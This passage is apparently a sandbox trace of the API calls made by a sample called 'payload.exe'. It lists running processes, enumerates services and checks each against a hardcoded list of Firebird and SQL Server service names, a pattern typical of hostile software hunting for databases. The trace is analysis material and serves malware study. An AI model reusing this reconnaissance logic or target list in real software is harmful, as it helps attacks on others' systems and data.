th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.972] lstrlenW (lpString="csrss.exe") returned 9 [0154.972] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0154.973] lstrlenW (lpString="wininit.exe") returned 11 [0154.973] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.974] lstrlenW (lpString="csrss.exe") returned 9 [0154.974] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0154.974] lstrlenW (lpString="winlogon.exe") returned 12 [0154.974] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0154.975] lstrlenW (lpString="services.exe") returned 12 [0154.975] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0154.975] lstrlenW (lpString="lsass.exe") returned 9 [0154.976] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.976] lstrlenW (lpString="svchost.exe") returned 11 [0154.976] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0154.977] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0154.977] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0154.977] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0154.977] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.978] lstrlenW (lpString="svchost.exe") returned 11 [0154.978] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0154.978] lstrlenW (lpString="dwm.exe") returned 7 [0154.978] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.979] lstrlenW (lpString="svchost.exe") returned 11 [0154.979] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.981] lstrlenW (lpString="svchost.exe") returned 11 [0154.981] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.981] lstrlenW (lpString="svchost.exe") returned 11 [0154.981] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.982] lstrlenW (lpString="svchost.exe") returned 11 [0154.982] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.982] lstrlenW (lpString="svchost.exe") returned 11 [0154.982] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.983] lstrlenW (lpString="svchost.exe") returned 11 [0154.983] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.983] lstrlenW (lpString="svchost.exe") returned 11 [0154.984] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.984] lstrlenW (lpString="svchost.exe") returned 11 [0154.984] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.985] lstrlenW (lpString="svchost.exe") returned 11 [0154.985] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.986] lstrlenW (lpString="svchost.exe") returned 11 [0154.986] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0154.987] lstrlenW (lpString="spoolsv.exe") returned 11 [0154.987] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.988] lstrlenW (lpString="svchost.exe") returned 11 [0154.988] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0154.988] lstrlenW (lpString="audiodg.exe") returned 11 [0154.988] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0154.989] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0154.989] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0154.989] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0154.989] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0154.990] lstrlenW (lpString="Memory Compression") returned 18 [0154.990] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0154.990] lstrlenW (lpString="sihost.exe") returned 10 [0154.991] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.181] lstrlenW (lpString="svchost.exe") returned 11 [0155.182] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0155.182] lstrlenW (lpString="taskhostw.exe") returned 13 [0155.182] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0155.183] lstrlenW (lpString="msoia.exe") returned 9 [0155.183] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0155.184] lstrlenW (lpString="explorer.exe") returned 12 [0155.184] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0155.185] lstrlenW (lpString="SearchUI.exe") returned 12 [0155.185] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0155.185] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0155.185] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0155.186] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0155.186] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0155.186] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0155.186] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0155.187] lstrlenW (lpString="payload.exe") returned 11 [0155.187] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0155.188] lstrlenW (lpString="cmd.exe") returned 7 [0155.188] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.188] lstrlenW (lpString="conhost.exe") returned 11 [0155.188] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0155.189] lstrlenW (lpString="mode.com") returned 8 [0155.189] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0155.189] CloseHandle (hObject=0x378) returned 1 [0155.189] Sleep (dwMilliseconds=0x1f4) [0156.029] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dab0 [0156.030] EnumServicesStatusExW (in: hSCManager=0x69dab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0156.030] GetLastError () returned 0xea [0156.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x42479b0 [0156.031] EnumServicesStatusExW (in: hSCManager=0x69dab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42479b0, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42479b0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0156.031] CloseServiceHandle (hSCObject=0x69dab0) returned 1 [0156.032] lstrlenW (lpString="Appinfo") returned 7 [0156.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0156.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0156.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0156.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0156.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0156.032] lstrlenW (lpString="AppXSvc") returned 7 [0156.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0156.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0156.032] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0156.032] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0156.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0156.032] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0156.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.032] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0156.032] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0156.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0156.032] lstrlenW (lpString="Audiosrv") returned 8 [0156.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0156.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0156.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0156.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0156.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0156.032] lstrlenW (lpString="BFE") returned 3 [0156.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0156.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0156.033] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0156.033] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0156.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0156.033] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0156.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0156.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0156.033] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0156.033] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0156.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0156.033] lstrlenW (lpString="CDPSvc") returned 6 [0156.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0156.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0156.033] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0156.033] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0156.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0156.033] lstrlenW (lpString="ClickToRunSvc") returned 13 [0156.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0156.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0156.033] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0156.033] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0156.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0156.033] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0156.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0156.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0156.033] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0156.033] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0156.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0156.033] lstrlenW (lpString="CryptSvc") returned 8 [0156.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0156.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0156.033] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0156.033] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0156.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0156.033] lstrlenW (lpString="DcomLaunch") returned 10 [0156.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.034] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0156.034] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0156.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0156.034] lstrlenW (lpString="DeviceAssociationService") returned 24 [0156.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0156.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0156.034] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0156.034] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0156.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0156.034] lstrlenW (lpString="Dhcp") returned 4 [0156.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0156.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0156.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0156.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0156.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0156.034] lstrlenW (lpString="Dnscache") returned 8 [0156.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0156.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0156.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0156.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0156.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0156.034] lstrlenW (lpString="DPS") returned 3 [0156.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0156.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0156.034] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0156.034] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0156.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0156.034] lstrlenW (lpString="DusmSvc") returned 7 [0156.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0156.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0156.034] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0156.034] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0156.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0156.035] lstrlenW (lpString="EventLog") returned 8 [0156.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0156.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0156.035] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0156.035] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0156.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0156.035] lstrlenW (lpString="EventSystem") returned 11 [0156.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0156.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0156.035] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0156.035] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0156.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0156.035] lstrlenW (lpString="FontCache") returned 9 [0156.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0156.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0156.035] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0156.035] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0156.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0156.035] lstrlenW (lpString="gpsvc") returned 5 [0156.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0156.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0156.035] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0156.035] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0156.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0156.035] lstrlenW (lpString="iphlpsvc") returned 8 [0156.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.035] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0156.035] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0156.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0156.035] lstrlenW (lpString="KeyIso") returned 6 [0156.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0156.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0156.035] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 